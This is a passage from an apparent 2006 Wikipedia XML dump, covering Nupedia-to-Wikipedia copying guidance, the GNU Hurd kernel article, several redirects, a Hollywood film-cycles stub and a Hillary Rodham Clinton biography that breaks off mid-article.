There is no editorial connection between the projects, however. The participants in Nupedia do not necessarily condone the contents or methods of [[Wikipedia]]--and vice-versa!

:'''Note that Nupedia is currently offline. There are no current plans to resurrect it.'''

==Adding Nupedia articles to Wikipedia==

To add a Nupedia article to Wikipedia, all you have to do is find the article, copy the contents, and paste it into the appropriate location (whatever you think is appropriate). Nupedia content is released under the [[GNU Free Documentation Licence]] (GFDL). You should note that Nupedia is the source of the article and provide a link to the original. For example:

:''&lt;nowiki&gt;An [http://www.nupedia.com/article/133/ earlier version] of the above article was posted on [[8 August]] [[2000]] on [[Nupedia]]; reviewed and approved by the Classics group; editor, Robert Dyer ; lead reviewer, James Allan Evans ; lead copyeditors, Charles Peyser and Jeri Bates.&lt;/nowiki&gt;''

You may ''not'' add articles from the Nupedia chalkboard to Wikipedia, unless you have permission from the original author. Content on the Nupedia chalkboard is not covered by the GFDL.

However, content in the Nupedia ''articles-in-progress'' (see http://www.nupedia.com/aip.phtml ) do appear to qualify under the GFDL (see [[Wikipedia talk:Nupedia and Wikipedia|talk]] and [http://mail.wikipedia.org/pipermail/wikipedia-l/2003-August/thread.html#11582]) so they ''can'' be ported to Wikipedia.  An example citation might be:

:''&lt;nowiki&gt;An [http://www.nupedia.com/newsystem/ordiscuss_1.phtml?arean=biology&amp;id=700
earlier version] of the above article was in review as of [[6 June]] [[2001]] on [[Nupedia]].  It was written by Claus Wilke.  It was not officially approved in Nupedia, but was at the &quot;open review&quot; step by the Biology group: lead reviewer, Gaytha Langlois ; with the assistance of other area(s): Computers.&lt;/nowiki&gt;''

=== Articles copied to Wikipedia ===
[[Bacterium]]
-- [[BASIC programming language]]
-- [[Case-based reasoning]]
-- [[Charles S. Peirce]]
-- [[Computation]]
-- [[Donegal fiddle tradition]]
-- [[Foot-and-mouth disease]]
-- [[Functional programming]] (needs merging)
-- [[Genotype-phenotype distinction|Genotype and phenotype]]
-- [[Herodotus|Herodotus of Halicarnassus]]
-- [[Hydatius]]
-- [[Imperative programming]]
-- [[Irish traditional music]]
-- [[Karl Raimund Popper]] (needs merging)
-- [[Plasmid]]
-- [[Polymerase chain reaction]] 
-- [[Procopius of Caesarea]]
-- [[Pylos]]
-- [[Quasispecies model]]
-- [[SNOBOL|SNOBOL4]] 
-- [[Virgil]]

=== Articles copied but effectively completely rewritten ===
[[Atonality]]

=== Articles not (yet) copied to Wikipedia ===
[[Classical Era (Music)]]
-- [[source code]]

=== Articles that Wikipedia has not copied===
* [[New Zealand]] - The CIA World Factbook provided a better base for improvement

=== Articles from ''articles in progress'' copied to Wikipedia ===
[[Fitness landscape]]

=== Articles from ''articles in progress'' not (yet) copied to Wikipedia ===
See: http://www.nupedia.com/aip.phtml

----
Outdated-but-related links (for more like these, see [[meta:Historical Wikipedia pages]])
* [[meta:Adding Wikipedia articles to Nupedia|Adding Wikipedia articles to Nupedia]]
* [[meta:Chalkboard candidates|Chalkboard candidates]]
* [[meta:Nupedia Translation|Nupedia Translation]]

[[Category:Wikipedia history]]
[[ja:Wikipedia:Nupedia and Wikipedia]]</text>
    </revision>
  </page>
  <page>
    <title>GNU Hurd</title>
    <id>13236</id>
    <revision>
      <id>42156100</id>
      <timestamp>2006-03-04T04:44:25Z</timestamp>
      <contributor>
        <username>AThing</username>
        <id>751678</id>
      </contributor>
      <comment>/* Architecture */ redundant</comment>
      <text xml:space="preserve">[[Image:Hurd-logo.png|frame| GNU Hurd logo]]

:''Hurd redirects here. For other uses of this term, see [[Hurd (disambiguation)]]''

'''The GNU Hurd''' is a [[computer]] program. It is a set of [[server]]s (or [[daemon (computer software)|daemons]], in [[Unix]]-speak) that work on top of either the [[GNU Mach]] microkernel or the [[L4 microkernel family|L4 microkernel]]; together, they form the [[kernel (computer science)|kernel]] of the [[GNU]] [[operating system]].  It has been under development since [[1990]] by the [[GNU]] Project and is distributed as [[free software]] under the [[GNU General Public License|GPL]].  The Hurd aims to surpass [[Unix]] kernels in functionality, security, and stability, while remaining largely compatible with them. This is done by having the Hurd track the [[POSIX]] specification, while avoiding arbitrary restrictions on the user.

&quot;HURD&quot; is an indirectly [[recursive acronym]], standing for &quot;HIRD of [[Unix]]-Replacing [[Daemon (computer software)|Daemons]]&quot;, where &quot;HIRD&quot; stands for &quot;HURD of Interfaces Representing Depth&quot;.

==Development history==
Development on the Hurd began in [[1990]]. By the early 1990s, it was the only major part of the GNU OS that was incomplete.  

The GNU [[userland]] tools which make up the applications and framework with which users and programmers interact are the well known part of the GNU operating system. These tools are most popularly used with [[Linux kernel|Linux]], until the remaining work on GNU/Hurd is completed.

Despite an optimistic announcement by [[Richard Stallman]] in [[2002]] [http://www.pcworld.com/news/article/0,aid,88464,00.asp] predicting a release of GNU/Hurd, further development and design are still required.  No official release of the Hurd has yet been made, and the system is currently unstable.

OSKit-Mach began as a branch of the Gnu Mach 1.2 kernel, but since the release of GNU Mach 1.3, OSKit-Mach has been merged as the new Gnu Mach 2.x mainline.  Development of the Hurd has also shifted significantly for some developers towards the [[L4 microkernel family]].

In [[2005]], Hurd developer [[Neal Walfield]] finished the initial memory management framework for the [http://www.gnu.org/software/hurd/hurd-l4.html L4/Hurd port], and [[Marcus Brinkmann]] ported essential parts of [[glibc]]; namely, getting the process startup code working, allowing programs to run, thus allowing the first user programs (trivial ones such as the [[hello world program]] in C) to run.

The [[Debian]] project, among others, have contributed funding to speed up development.

==Architecture==
Unlike [[Unix-like]] kernels, the Hurd builds on top of a [[microkernel]] which is responsible for providing the most basic kernel services &amp;ndash; coordinating access to the [[Computer hardware|hardware]]: the [[Central processing unit|CPU]] (through [[multiprocessing]]), [[Random access memory|RAM]] (via [[memory management]]), and other various devices for sound, graphics, mass storage, etc. [[GNU Mach]] is used as the microkernel, but efforts are underway to port the Hurd to the more modern [[L4 microkernel family|L4 microkernel]].  Currently, it is being discussed whether or not L4 is actually suitable at all, there may be a switch or port to yet another microkernel.  There is speculation about [[Coyotos]] ([[Extremely Reliable Operating System|EROS]] successor) and [[l4.sec]] (not yet complete).

Other Unix-like systems running on top of the [[Mach kernel|Mach microkernel]] include [[Mac OS X]], [[OSF/1]], [[NEXTSTEP]], [[Lites]], and [[MkLinux]]. These share one detail in common, in that they are implemented as a single so-called ''server''. In effect they replace the [[monolithic kernel]] from a traditional Unix system with two parts, the microkernel and Unix server.

The Hurd instead consists of multiple servers working together. Instead of a single large code base which includes everything from handling the clock to handling the [[computer network|networking]], in Hurd each of these are handled by a separate server. This makes developing the Hurd much easier (at least in theory) as making changes to one is less likely to have [[Side-effect (computer science)|side-effect]]s in others.

In the original [[Mach kernel|Mach]] efforts, this sort of &quot;set of servers&quot; was considered to be one of the main goals of the design, but the Hurd appears to be the first Mach-based system to actually be implemented in this fashion (whereas [[QNX]] is similar but based on its own microkernel). It's not entirely clear why this happened, but it appears that groups working on Mach were too busy working on Mach to work on the operating system as a whole. Hurd also aims to be microkernel-independent.

===Unix extensions===
A number of traditional Unix concepts are replaced or extended in the Hurd:
Under Unix every program running has an associated [[user id]], which normally corresponds to the user that started the [[Process (computing)|process]]. This id largely dictates the actions permitted to the program. No outside process can change the user id of a running program. A Hurd process, on the other hand, runs under a ''set'' of user ids, which can contain multiple ids, one, or none. A sufficiently privileged process can add and remove ids to another process. For example there is a password server that will hand out ids in return for a correct login password.

Regarding the [[file system]], a suitable program can be designated as a ''translator'' for a single file or a whole directory hierarchy. Every access to the translated file, or files below a hierarchy in the second case, is in fact handled by the program. For example a file translator may simply redirect read and write operations to another file, not unlike a Unix [[symbolic link]]. What ''[[Mount|mounting]]'' is to Unix, the Hurd achieves by setting up a filesystem translator (using the &quot;settrans&quot; command).  Translators can also be used to provide services to the user.  For example, the [[ftpfs]] translator allows a user to encapsulate remote FTP sites within a directory.  Then, standard tools such as [[ls]], [[cp (Unix)|cp]], and [[rm (Unix)|rm]] can be used to manipulate files on the remote system.  Even more powerful translators are ones such as [[UnionFS]], which allows a user to unify multiple directories into one; so that listing the unified directory reveals the contents of all the unified directories (a feature that is missing in many Unixes, although available in [[FreeBSD]], [[NetBSD]] and [[DragonFly BSD]]).

Perhaps the most empowering aspect of the Hurd is the ability for any user to start their own system services.  Any user can attach any translator to the filesystem for their own personal use.  A user could even replace system servers, such as the auth server, with other servers of their own choosing. All this can be done without affecting other users, due to well defined scopes.  Indeed, it is even possible for a user to run the Hurd within itself, which is known as a sub-Hurd.

The Hurd requires a [[Multiboot Specification|multiboot]]-compliant [[boot loader]], such as [[GRUB]].

== GNU/Hurd-based distributions==

*[[Bee GNU/Hurd]]
*[[Debian GNU/Hurd]]

==See also==
*[[Free Software Foundation]]
*[[Hurd User Group]]
*[[Hurd/L4]]
*[[GNU/Hurd]]

==External links==
{{wikinewspar|GNU Hurd operating system: first user program run using L4 microkernel}}
*[http://www.gnu.org/software/hurd/hurd.html The GNU Hurd]
*[http://www.debian.org/ports/hurd/hurd-cd Debian GNU/Hurd installation CDs]
*[http://citeseer.ist.psu.edu/cis?q=GNU+and+Hurd Citations from CiteSeer]
*[http://kerneltrap.org/node/5 Interview] with [[Neal Walfield]], Hurd and [[Hurd/L4]] developer. (2001)
*[http://portal.wikinerds.org/brinkmann-interview-mar2005 Interview] with [[Marcus Brinkmann]], Hurd and [[Hurd/L4]] developer. (2005)
*[http://gnuppix.org/ Gnuppix, a GNU/Hurd-L4 LiveCD] -- still in alpha stage
*[http://superunprivileged.org/ A GNU/Hurd on Mach LiveCD], based on Debian GNU/Hurd ([http://people.debian.org/~neal/hurd-live-cd/ mirror here])

[[Category:Operating system kernel|Hurd, Go]]
[[Category:GNU project software|Hurd]]
&lt;!-- Interwikis found using http://vs.aka-online.de/globalwpsearch/ --&gt;

[[ca:Hurd]]
[[da:GNU/Hurd]]
[[de:GNU Hurd]]
[[es:Hurd]]
[[eu:GNU Hurd]]
[[fr:Hurd]]
[[gl:Hurd]]
[[ia:Hurd]]
[[it:Hurd]]
[[lt:GNU Hurd]]
[[nl:Hurd-kernel]]
[[ja:Hurd]]
[[pl:GNU Hurd]]
[[pt:GNU Hurd]]
[[ru:GNU/Hurd]]
[[fi:GNU Hurd]]
[[sv:GNU Hurd]]
[[tr:GNU Hurd]]
[[zh:Hurd]]</text>
    </revision>
  </page>
  <page>
    <title>HugoPrize</title>
    <id>13237</id>
    <revision>
      <id>15910856</id>
      <timestamp>2002-10-10T11:32:05Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Hugo Award]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hugo Award]]</text>
    </revision>
  </page>
  <page>
    <title>Hate Crime</title>
    <id>13238</id>
    <revision>
      <id>15910857</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hate crime]]
</text>
    </revision>
  </page>
  <page>
    <title>Hobbits</title>
    <id>13239</id>
    <revision>
      <id>15910858</id>
      <timestamp>2002-07-25T21:01:21Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Hobbit]]</text>
    </revision>
  </page>
  <page>
    <title>Hollywood cycles</title>
    <id>13240</id>
    <revision>
      <id>40070838</id>
      <timestamp>2006-02-17T22:45:51Z</timestamp>
      <contributor>
        <username>WhyBeNormal</username>
        <id>256949</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">In the classic era of [[Hollywood]] [[film|cinema]] ([[1930]] – [[1945]]) the &quot;cycles&quot; or genres matured.  They were called cycles, which was a short term for stories that were similar.  While we would recognize many of the genres as [[Western (genre)|Westerns]], [[Gangster film|gangsters]], [[Musical film|musicals]], etc., often the cycles were significantly more specific.  Instead of &quot;romantic comedy&quot; it might be &quot;Boy-meets-girl-boy-loses-girl-boy-gets-girl&quot; cycle.

==See also==
* [[Film theory]]
* [[Genre film theory]]
* [[Formula fiction]] ''In literary works, generic storylines are referred to as formula fiction.''

{{filming-stub}}</text>
    </revision>
  </page>
  <page>
    <title>H.G. Wells</title>
    <id>13241</id>
    <revision>
      <id>15910860</id>
      <timestamp>2004-12-23T20:06:03Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[H. G. Wells]]</text>
    </revision>
  </page>
  <page>
    <title>Hillary Rodham Clinton</title>
    <id>13242</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42153222</id>
      <timestamp>2006-03-04T04:14:32Z</timestamp>
      <contributor>
        <username>Lockley</username>
        <id>207616</id>
      </contributor>
      <minor />
      <comment>/* Possible presidential race */ narrow cat</comment>
      <text xml:space="preserve">{{Infobox Senator | name=Hillary Rodham Clinton
| nationality=American
| image name=Hillary Rodham Clinton.jpg
| jr/sr and state=Junior [[United States Senator|Senator]], [[New York]]
| party=[[Democratic Party (United States)|Democratic]]
| term=January [[2001]]&amp;ndash;Present
| preceded=[[Daniel Patrick Moynihan]]
| succeeded= Incumbent
| date of birth=[[October 26]], [[1947]]
| place of birth=[[Chicago, Illinois|Chicago]], [[Illinois]]
| dead=alive
| date of death=
| place of death=
| height=174 cm
| law school=[[Yale University]], 1973
| spouse=President [[Bill Clinton]]
| religion=[[United Methodist]]
}}

'''Hillary Rodham Clinton''' (born '''Hillary Diane Rodham''' on [[October 26]], [[1947]]) is the junior [[United States Senate|United States Senator]] from [[New York]], serving her freshman term since [[January 3]], [[2001]]. She is married to &lt;!--do not add &quot;former&quot; here, as former Presidents are still referred to as President--&gt; [[President of the United States|President]] [[Bill Clinton]], and was [[First Lady of the United States]] from [[1993]] to [[2001]]. Before that she was a prominent [[lawyer]] and First Lady of [[Arkansas]]. She is a member of the [[United States Democratic Party|Democratic Party]].  

==Early life and education==	
 
[[Image:Rodham family portrait.jpg|thumb|Rodham family portrait]]	 
Hillary Rodham was born in [[Chicago]], [[Illinois]], and was raised in a [[Methodist]] family in [[Park Ridge, Illinois|Park Ridge]], [[Illinois]]. Her father, [[Hugh Rodham| Hugh Ellsworth Rodham]], a [[American conservatism|conservative]], worked in the textile industry, and her mother, [[Dorothy Emma Howell Rodham]], was a [[homemaker]]. 

===Grade School===
As a child, Hillary was interested in sports, her church, and her school, a public school in Park Ridge.  Prior to graduating from [[Maine South High School]], she attended [[Maine East High School]], where she served as class president, a member of the student council, a member of the debating team, and as a member of the [[National Honor Society]].  During her final year of high school (Maine South High School), she received the school's first [[social science]] award. Throughout her youth, Rodham was fond of sports, including [[tennis]], [[ice skating|skating]], [[ballet]], [[swimming]], [[volleyball]], and [[softball]]. She earned many awards as a Brownie and [[Girl Scouts of the USA| Girl Scout]] [http://www.hillary-rodham-clinton.org/education.html]. Hillary entered the world of politics in [[1964]], at the age of 16, by supporting the presidential bid of [[Arizona]] [[United States Republican Party|Republican]] [[Senator]] [[Barry Goldwater]]. Her parents encouraged her to pursue the career of her choice [http://www.whitehouse.gov/history/firstladies/hc42.html] [http://www.hillary-rodham-clinton.org/].	

===College===
====Wellesley====
After completing high school in [[1965]], Rodham enrolled at [[Wellesley College]] in [[Massachusetts]] where she became active in politics, serving, for a time, as President of the Wellesley College Chapter of the [[College Republicans]]. During her junior year at Wellesley in [[1968]], Rodham was affected by the death of the [[civil rights]] leader [[Martin Luther King Jr.| Reverend Dr. Martin Luther King Jr.]], whom she had met in person in [[1962]] [http://www.hillary-rodham-clinton.org/education.html]. After attending the Wellesley in Washington program at the urging of Professor [[Alan Schechter]], her political views became more [[Liberalism|liberal]] and she joined the [[Democratic Party (United States)|Democratic Party]]. Having been named [[valedictorian]] of her graduating class at Wellesley, Rodham graduated, in [[1969]], with departmental honors in [[Political Science]]. She became the first student in the history of Wellesley College to deliver a [[commencement address]] when she spoke at her own graduation [http://www.wellesley.edu/PublicAffairs/Commencement/1969/053169hillary.html]. Her speech received a standing ovation and she was featured in an article published by [[Life (magazine)| ''Life'']] magazine [http://www.hillary-rodham-clinton.org/education.html].

====Yale Law School====
In [[1969]], Rodham entered [[Yale Law School]] where she served on the Board of Editors of [[Yale Review of Law and Social Action]] and worked with underprivileged children at the [[Yale-New Haven Hospital]]. During the [[summer]] of [[1970]], she was awarded a [[grant]] to work at the [[Children's Defense Fund]] in [[Cambridge, Massachusetts|Cambridge]], [[Massachusetts]]. During the summer of [[1971]], she traveled to [[Washington, D.C.]] to work on Senator [[Walter Mondale]]'s subcommittee on [[migrant]] workers, researching migrant problems in [[housing]], [[sanitation]], [[health]] and [[education]]. For the summer of [[1972]], Rodham worked in the western states for the Democratic presidential candidate [[George McGovern]]'s campaign. During her second year in law school, she volunteered at the [[Yale Child Study Center]], learning about new research on early childhood [[brain]] development. She also took on cases of [[child abuse]] at New Haven Hospital and worked at the city Legal Services, providing free legal service to the poor. She received a [[Juris Doctor]] (J.D.) degree from Yale in [[1973]], having written her widely recognized thesis on the rights of children [http://www.hillary-rodham-clinton.org/education.html], and began a year of post-graduate study on [[children]] and [[medicine]] at the [[Yale Child Study Center]].

==1972-1992==
===Role in Watergate===
During her post-graduate study, Rodham also served as staff attorney for the Children’s Defense Fund. She joined the presidential impeachment inquiry staff advising the [[U.S. House Committee on the Judiciary|Judiciary Committee]] of the [[United States House of Representatives]] during the [[Watergate Scandal]]. 

===Arkansas Law School===
Rodham became a faculty member (one of only two women in the faculty) at the [[University of Arkansas]] Law School, located in [[Fayetteville]], where her Yale Law School classmate and boyfriend [[Bill Clinton]] was teaching as well.

===Marriage and Rose Law Firm===
In [[1975]] Rodham and Clinton were married and moved to [[Little Rock]], [[Arkansas]]. In [[1976]], Hillary Rodham joined the venerable and influential [[Rose Law Firm]], specializing in [[intellectual property]] cases while doing child advocacy cases [[pro bono]]. In [[1979]], she became the first woman to be made a full [[partnership|partner]] of Rose Law Firm [http://www.edwardsly.com/clinton.htm]. [[Jimmy Carter|President Jimmy Carter]] appointed Rodham to the board of the [[Legal Services Corporation]] in [[1978]].

===First Lady of Arkansas===
In [[1978]], with the election of her husband as [[governor]] of [[Arkansas]], Rodham became Arkansas's First Lady, her title for a total of 12 years. On February 27, [[1980]], Rodham gave birth to [[Chelsea Clinton|Chelsea]], their only child. 

In [[1980]], Bill Clinton was defeated in his re-election bid for governor and the couple left the statehouse.  In February [[1982]], Bill Clinton announced his bid to regain the office, which would be successful; at the same time, Rodham began using the name Hillary Rodham Clinton. [''Living History'' p. 93]

As first lady, Clinton chaired the Arkansas Educational Standards Committee, where she successfully fought (against some opposition) for improved testing standards of new teachers [http://www.oldstatehouse.com/educational_programs/classroom/arkansas_news/detail.asp?id=528&amp;issue_id=29&amp;page=1]. She also chaired the Rural Health Advisory Committee and introduced a pioneering program called Arkansas' Home Instruction Program for Preschool Youth, which trains parents to work with their children in preschool preparedness and [[literacy]]. Clinton was named Arkansas Woman of the Year in [[1983]] and Arkansas Mother of the Year in [[1984]] [http://teacher.scholastic.com/researchtools/articlearchives/civics/presid/flgall/flclinto.htm].

===Honors===
Throughout her time as first lady, Clinton continued to practice law with the Rose Law Firm. In [[1988]] and [[1991]] ''[[National Law Journal]]'' named Clinton one of the 100 most influential lawyers in America [http://search.eb.com/women/articles/Clinton_Hillary_Diane_Rodham.html]. Clinton co-founded the [[Arkansas Advocates for Children and Families]] and served on the boards of the [[Arkansas Children's Hospital]] Legal Services and the [[Children's Defense Fund]] [http://www.whitehouse.gov/history/firstladies/hc42.html]. 

From [[1985]] to [[1992]], Clinton served on the Board of Directors for both [[TCBY| TCBY (&quot;The Country's Best Yogurt&quot;)]] and [[Wal-Mart Stores Inc.]][http://www.villagevoice.com/news/0021,harkavy,15052,5.html]

[[Image:Hrcfamily.jpg|thumb|270px|The Clinton family arrives at the White House in 1993.]]

==First Lady of the United States==

[[Image:hRC.jpg|thumb|200px|left|Official First Lady Portrait of Hillary Rodham Clinton.]]

After Bill Clinton was elected to the White House in [[1992]], Hillary Rodham Clinton became the First Lady of the United States in 1993. She was the first First Lady to hold a [[post-graduate study|post-graduate degree]] and the first to have her own successful professional career. [http://encarta.msn.com/encyclopedia_761556529/Hillary_Clinton.html] She is regarded as the most openly empowered presidential wife in American history other than [[Eleanor Roosevelt]]. [http://www.verveonline.com/27/people/hillary/hillary.shtml] 

===Health Care===
In [[1993]] the President appointed his wife to head the Task Force on National Health Care Reform. The recommendation of this task force, commonly called the [[Clinton health care plan]] and nicknamed &quot;Hillarycare&quot; by its opponents, failed to gain enough support to come to a floor vote in either house of Congress, although both had Democratic majorities, and was abandoned in September, [[1994]]. In her ''Living History'' memoirs, Clinton acknowledged that her political inexperience contributed to the defeat, but also said that many other factors were responsible as well. A decade later, &quot;Hillarycare&quot; would still be used as a label, sometimes pejoratively, for plans perceived as implementing universal health care.  [http://www.time.com/time/columnist/klein/article/0,9565,1137628,00.html] [http://www.investors.com/editorial/IBDArticles.asp?artsec=20&amp;artnum=3&amp;issue=20051205])  At the time, Republicans used its unpopularity as a campaign issue in the 1994 midterm elections which saw a net Republican gain of 53 seats [[United States House election, 1994|in the House election]] and 7 [[United States Senate election, 1994|in the Senate election]]. 

===Criticism===
At the time, some critics called it inappropriate for a First Lady to play a central role in matters of public policy. Supporters, by contrast, argued that Clinton was no different than other White House advisors and that furthermore, voters were well aware that she would play an active role in her husband's Presidency. [http://teacher.scholastic.com/researchtools/articlearchives/civics/presid/flgall/flhomema.htm]  Indeed, during the campaign Bill Clinton had stated that voting for him would get &quot;two for the price of one.&quot; [http://www.americanpresident.org/history/billclinton/firstlady/]  This remark led to the (inaccurate) notion that the two were acting as &quot;co-Presidents&quot; [http://www.jewishworldreview.com/cols/greenberg071599.asp], sometimes nicknamed &quot;Billary&quot; [http://itre.cis.upenn.edu/~myl/languagelog/archives/002610.html].

===Praise===
As first lady, Clinton won many admirers for her staunch support for [[women's rights]] around the world and her commitment to children's issues [http://www.whitehouse.gov/history/firstladies/hc42.html]. She initiated the [[Children's Health Insurance Program]] in 1997, a federal effort that provided state support for those children whose parents were unable to provide them with health coverage. She also successfully sought to increase the research funding for illnesses such as prostate cancer and childhood asthma at the [[National Institutes of Health]]. The First Lady worked to solve the mystery behind the illnesses that were affecting veterans of the [[Gulf War]]. She initiated and shepherded the [[Adoption and Safe Families Act]] of 1997, which she regarded as her greatest accomplishment as First Lady [http://www.firstladies.org/biographies/firstladies.aspx?biography=43].

[[Image:Hrcraad.jpg|thumb|Clinton reads to a child during a school visit]]

===Role===
Clinton hosted numerous [[White House]] conferences that related to children's health, including early childhood development and school violence. She fought for nationwide immunization against childhood illnesses and supported an annual drive to encourage older women to seek a mammogram to prevent breast cancer, coverage of the cost being provided by [[Medicare]]. With [[Attorney General]] [[Janet Reno]], Clinton helped to create the [[United States Department of Justice|Department of Justice]]'s Violence Against Women office. She was one of the few international figures at the time who spoke out against the treatment of [[Afghan people|Afghani]] women by [[Islamist]] [[fundamentalist]] [[Taliban]] that had seized control of [[Afghanistan]]. One of the programs she helped create was Vital Voices, a U.S.-sponsored initiative to promote the participation of international women in their nation's political process.

Clinton performed many less political activities in her role as First Lady. With a lifelong interest in regional American history, she initiated the Save America's Treasures program, a national effort that matched federal funds to private donations to rescue from deterioration and neglect, or restore to completion many iconic historic items and sites, including the flag that inspired the [[Star Spangled Banner]], and the National First Ladies Historic Site in Canton, Ohio. Clinton initiated the [[Millennium Project]] with monthly lectures that considered both America's past and forecasted its future. One of these lectures became the first live simultaneous webcast from the [[White House]]. Clinton also created the first Sculpture Garden, which displayed large contemporary American works of art loaned from museums in the [[Jacqueline Kennedy]] Garden on a rotating basis.

In the White House, Clinton placed the donated handicrafts (pottery, glassware, etc.) of contemporary American artisans on rotating display in the state rooms. She oversaw the restoration of the Blue Room on the state floor, and the redecoration of the Treaty Room into the President's study on the second floor. In a unique venue of large white tents on the South Lawn that could accommodate several thousand guests, Clinton hosted many large events such as a [[St. Patrick's Day]] reception, a state dinner for visiting Chinese dignitaries, and a contemporary music concert that raised funds for music education in the [[public schools]]. For all the foods served in the White House, Clinton hired a chef whose expertise was in American regional cooking. She hosted a massive [[New Year's Eve]] party on the turning of the twentieth century into the twenty-first century, as well as a state dinner honoring the November 2000 [[bicentennial]] of the White House, which gathered more former Presidents and First Ladies together in the mansion than had ever been present at any other time in its history.

==Relationship with Bill Clinton==
[[Image:Hillary.jpg|frame|left|Portrait of the President and First Lady at the South Portico of the White House, February 2000.]]
Hillary Rodham and Bill Clinton met at Yale Law School where both were students. On October 11, [[1975]], when Hillary was 27 years old and Bill was 28 years old, the Clintons married in [[Fayetteville]], [[Arkansas]]. Before he proposed marriage to Hillary Rodham, Bill Clinton secretly purchased a small [[house]] in Fayetteville that she had noticed and remarked that she had liked. When he proposed marriage to her and she accepted, he revealed that they owned the house. They married and lived there, briefly, before relocating to the state capital of [[Little Rock]], [[Arkansas]], from which Bill conducted his first campaign, for [[U.S. Congress]].

===Husband Infidelity===
In [[1998]], the Clintons' relationship became the subject of much speculation and gossip after the [[Lewinsky scandal]] when the President admitted to a sexual affair (short of sexual intercourse) with a White House intern, [[Monica Lewinsky]]. During the Lewinsky scandal, Hillary initially claimed that the allegations against her husband were the result of a &quot;vast right-wing conspiracy. [http://www.cnn.com/ALLPOLITICS/1998/01/27/hillary.today/]&quot; After the evidence of President Clinton's encounters with Lewinsky became incontrovertible, she remained resolute that their marriage was solid. Both Bill's and Hillary's memoirs later revealed that the revelation of the affair was in reality a very painful time in their marriage.

For much of his political career, President Clinton was dogged by rumors of extra-marital affairs. These rumors gained credibility following the Lewinsky scandal. In his memoirs, President Clinton confirmed a &quot;relationship that I should not have had&quot; with [[Gennifer Flowers]], an Arkansas lounge singer [http://www.newswithviews.com/Boggs/kelly42.htm]. These revelations and rumors resulted in a mix of sympathy and scorn for the First Lady. While many women sympathized with her as a victim of her husband's insensitive behavior, others criticized her as being an [[Codependence|enabler]] to her husband's indiscretions by showing no interest in obtaining a divorce. In her book ''[[Living History]]'', Clinton explains that love is the reason she stays with President Clinton. &quot;[N]o one understands me better and no one can make me laugh the way Bill does. Even after all these years, he is still the most interesting, energizing and fully alive person I have ever met. Bill and I started a conversation in the spring of 1971, and more than thirty years later we're still talking[http://www.advisorteam.com/newsletter/200503_hillarybill.html].&quot;

===Husband's health scare===
When President Clinton required immediate [[heart surgery]] in October of [[2004]], Clinton, who was then the junior senator of New York, cancelled her public schedule to be at his side at the [[Columbia University Medical Center]] of [[New York Presbyterian Hospital]].

==The 2000 Senate race==

When long-time New York Senator [[Daniel Patrick Moynihan]] announced his retirement, prominent Democratic politicians and advisors, including [[Charles Rangel|Charlie Rangel]], urged Clinton to run for the New York Senate seat in the [[U.S. Senate election, 2000|U.S. Senate, 2000, elections]]. When Clinton chose to run, she became the first [[First Lady of the United States]] to be a candidate for elected office. She was initially expected to face [[New York City]]'s Mayor [[Rudy Giuliani]], but Giuliani withdrew after being diagnosed with [[prostate cancer]] and after developments in his personal life attracted negative publicity. Instead, Clinton faced a lesser-known candidate, [[Rick Lazio]], who was a [[United States House of Representatives|Congressman]] representing [[Suffolk County, New York|Suffolk County]] on [[Long Island]]. The contest drew considerable national attention and both candidates were well-funded. By the end of the race, Democrat Clinton and Republicans Lazio and Giuliani had spent a combined $78 million [http://archives.cnn.com/2000/ALLPOLITICS/stories/11/07/senate.ny/].

===Strategy===
While Clinton had a solid base of support in [[New York City]], candidates and observers expected the race to be decided in upstate New York where 45% of New York's voters live. During the campaign, Clinton vowed to improve the economic picture in upstate New York, promising that her plan would deliver 200,000 New York jobs over six years. Her plan included specific tax credits with the purpose of rewarding job creation and encouraging business investment, especially in the high-tech sector. She called for targeted personal tax cuts for college tuition and long-term care [http://archives.cnn.com/2000/ALLPOLITICS/stories/11/07/senate.ny/]. Clinton began her campaign by visiting every county in the state, in a &quot;listening tour&quot; of small-group settings. During the race, she spent considerable time in traditionally Republican upstate regions. 

===Carpetbagging===
Clinton faced charges of [[carpetbagging]] since she had never resided in the state. Her supporters pointed out that the state was receptive to national leaders, like [[Robert F. Kennedy]] who was elected in 1964 despite similar accusations. After she decided to run, the Clintons purchased a home in [[Chappaqua, New York|Chappaqua]], New York. The Republican effort to make carpetbagging a major issue failed, according to exit polls that showed more than two-thirds of the voters dismissed the issue as unimportant.

===Results===
Clinton won the election on [[November 7]], [[2000]] with 55% of the vote to Lazio's 43% [http://www.fec.gov/pubrec/fe2000/2000senate.htm#NY]. This 12% margin was smaller than Gore's 25% margin over Bush in the state Presidential contest.  However, Clinton's 12% margin was larger than [[Charles Schumer]]'s 10% margin in his initial [[1998]] election to New York's other Senate seat.  The victory of a Democrat in the Senate election was not assured, because in recent decades the Republicans had won about half the elections for governor and senator.

==United States Senator==
[[Image:ClintonSenate.jpg|right|thumb|On January 3, 2001, Hillary Clinton is sworn in as a U.S. Senator by Vice President Gore as President Clinton and [[Chelsea Clinton]] look on.]]

When Clinton joined the Senate, she was widely reported to have kept a low public profile and learned the ways of the institution while building relationships with senators from both sides of the aisle, thus countering her polarizing celebrity. [http://www.csmonitor.com/2003/0310/p01s01-uspo.html] 
[http://www.opinionjournal.com/wsj/?id=90000397]
[http://encarta.msn.com/encyclopedia_761556529/Hillary_Clinton.html] [http://www.wellesley.edu/PublicAffairs/InTheNews/archives2003a.html] [http://www.press.org/abouttheclub/record/2000-01record/record-07-26-01.html] Indeed when [[Elizabeth Dole]] (R-[[North Carolina]]) joined the Senate in [[2003]] in somewhat similar circumstances, she modeled her initial approach after Clinton's, as did the nationally visible [[Barack Obama]] (D-[[Illinois]]) in [[2005]]. [http://obama.senate.gov/news/050928-barack_obama_steps_carefully_into_the_spotlight/]

===Committees===
